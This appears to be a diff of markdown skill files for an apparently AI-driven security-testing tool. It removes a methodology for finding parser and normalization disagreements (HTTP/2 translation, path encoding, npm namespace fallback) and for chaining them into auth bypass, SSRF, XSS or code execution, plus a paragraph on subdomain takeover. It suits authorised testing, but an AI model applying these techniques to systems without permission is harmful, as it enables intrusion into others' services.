-- Map HTTP/2 to HTTP/1 translation, proxy to application rewriting, URL to filesystem resolution, upload detector to content consumer, and client router to API request construction.
-- In a restartable lab and only when supported by evidence, vary framing, bounded delays/body sizes, content type, pseudo-headers, and method conversion. Check target health after resource-sensitive cases.
-- Do not assume a WAF or authorization sidecar sees the full body or final normalized request.
-
-### Namespace and Resolution Fallback
-
-- Identify names resolved across multiple scopes: local path, environment `PATH`, cache, private registry, public registry, plugin directory, template search path, or autoloader.
-- Record lookup order and what happens when the intended entry is missing.
-- Compare protected package/module names with exposed command, binary, handler, or alias names. For npm, a scoped package can expose an unscoped `bin` name, so the protected package name and invoked executable may differ.
-- Treat automatic remote fallback or search-path fallback as an execution boundary.
-- Load `npx_confusion` when `npx` or `npm exec` may reinterpret a missing executable as a public package spec.
-
-## Reconnaissance
-
-### Black-Box Mapping
-
-1. Capture a clean baseline with raw request and response bytes.
-2. Change one representation axis at a time: encoding depth, delimiter, duplicate, separator, method, protocol, body framing, or Unicode form.
-3. Diff status, headers, body digest/length, timing, redirects, cache state, and out-of-band callbacks.
-4. Replay through different paths: direct origin vs CDN, HTTP/1.1 vs HTTP/2, public route vs alternate host, synchronous vs background processing.
-5. Cluster responses by behavior before escalating. Small differentials reveal component boundaries.
-
-### Source-Aware Mapping
-
-- Find every read and write of shared request/context fields, not just the obvious sink.
-- Trace route matching, auth middleware, rewrites, internal redirects, handler selection, and response generation in execution order.
-- Inventory decode/parse/normalize calls and note whether return values or errors are ignored.
-- Search for compatibility fallbacks, legacy aliases, permissive recovery, default handlers, and search-path iteration.
-- Inspect packaging and deployment defaults; distro configuration, enabled modules, plugins, and symlinks often determine reachability.
-
-## Differential Test Matrix
-
-Build a bounded matrix from relevant axes instead of blindly combining everything:
-
-| Axis | Representative variants |
-|---|---|
-| Encoding | raw, once encoded, twice encoded, mixed case, malformed Unicode |
-| Structure | duplicate, comma-joined, empty member, quoted, comment-like suffix |
-| Path | `/`, `\\`, `//`, dot segments, absolute, sibling-prefix collision |
-| URL | userinfo, numeric IP, alternate IP radix, trailing dot, fragment/query split |
-| Transport | HTTP/1.1, HTTP/2, chunked/fixed body, delayed DATA, oversized body |
-| Lifecycle | normal, error, retry, internal redirect, cache hit, background worker |
-| Consumer | edge, application, library, filesystem, interpreter, browser |
-
-Select axes supported by evidence from the target. Record which component saw which representation.
-
-### Repeatable Harnesses
-
-- For two local parsers, canonicalizers, or validator/consumer functions, load `hypothesis` and express the expected relationship as a property. Bound sizes/examples and keep the minimized disagreement as a regression test.
-- For an ordered HTTP flow with cookies, redirects, captured values, and assertions, load `hurl` and encode vulnerable, fixed, and negative-control environments using the same request chain.
-- Use raw-byte or protocol-specific harnesses when a high-level HTTP client would normalize the ambiguity away.
-- Separate input generation from transport. Generators that are safe against pure local functions become active fuzzers when connected to a live target.
-
-## Chaining Strategy
-
-Treat the first differential as a primitive, then ask what authority the later consumer has:
-
-- auth or ACL bypass -> protected route or file
-- path/URL confusion -> source disclosure, SSRF, local socket, or unintended handler
-- detector/consumer mismatch -> active upload processing or inline browser execution
-- internal redirect state carryover -> handler selection or policy bypass
-- search-path or namespace fallback -> attacker-controlled code resolution
-- browser/router decode -> client-side path traversal, CSRF-like action, SSRF, or XSS sink
-
-Enumerate existing local gadgets only after the primitive is proven. Prefer generic classes such as interpreters, template engines, debug tools, package scripts, local sockets, and autoload paths over a vendor-specific file list.
-
-## Testing Methodology
-
-1. **Define the invariant** - State what all components are expected to agree on: origin, path, type, handler, identity, length, or package name.
-2. **Draw the graph** - List consumers and transformations in real execution order.
-3. **Locate early decisions** - Mark validation, auth, WAF, cache, and routing checks.
-4. **Locate late meaning changes** - Mark decodes, rewrites, fallback, internal dispatch, and sink parsing.
-5. **Build a focused matrix** - Exercise only transformations supported by the stack.
-6. **Isolate the disagreement** - Produce paired inputs that differ at one boundary and explain both interpretations.
-7. **Prove the primitive safely** - Use a synthetic protected canary, reversible marker, constant callback identifier, or no-op handler whose behavior and side effects are understood.
-8. **Escalate by capability** - Track Read -> influence -> write -> dispatch -> execute transitions with evidence and prerequisites for every edge.
-9. **Cross-check versions/configurations** - Reproduce on a fixed version or hardened configuration when possible.
-
-## Validation
-
-A valid confusion finding should include:
-
-1. the exact bytes or structured input supplied
-2. the representation observed by the security control
-3. the different representation observed by the final consumer
-4. the transformation or lifecycle event that created the difference
-5. paired control and exploit results across repeat runs
-6. version, protocol, configuration, and interaction prerequisites
-7. a minimal impact proof that does not depend on unrelated undefined behavior
-
-## False Positives
-
-- Different error messages with identical final authorization and sink behavior
-- A parser accepts odd syntax but downstream consumers preserve the same safe meaning
-- A normalization difference visible only in logs, with no security decision between representations
-- WAF bypass where the application itself rejects the request identically
-- Version-specific behavior claimed as universal without testing the relevant deployment
-- A search-path candidate that is attacker-named but cannot be created, claimed, loaded, or executed
-
-## Pro Tips
-
-1. Begin with relationships and shared state, not endpoint payload lists.
-2. Preserve raw traffic; high-level clients often normalize away the exploit before sending it.
-3. Error paths are alternate lifecycles. Verify which fields survive and which phases still execute.
-4. Compare direct and internal access separately; ingress policy rarely governs framework file IO or handler dispatch.
-5. When a prefix allowlist is used, test a sibling sharing the prefix and verify with a segment-aware comparison.
-6. Distinguish presence, reachability, and impact. Each needs separate evidence.
-7. Generalize a finding by naming the disagreement class, not by copying its final payload.
-
-## Summary
-
-Semantic confusion exists when a security decision and a privileged consumer disagree about the meaning of the same attacker-influenced data. Model the entire transformation lifecycle, isolate one disagreement at a time, and prove both interpretations. The reusable unit is the boundary and its invariant—not a CVE-specific string.

strix/skills/vulnerabilities/subdomain_takeover.md

@@ -7,8 +7,6 @@ description: Subdomain takeover testing for dangling DNS records and unclaimed c
 
 Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
 
-Use `infrastructure_lifecycle` instead for expired registrable domains, MX/recovery identity, update/control endpoints, or long-lived software consumers. Provider error fingerprints are leads; confirm current claimability and custom-domain ownership requirements from authoritative provider behavior/documentation.
-
 ## Attack Surface
 
 - Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)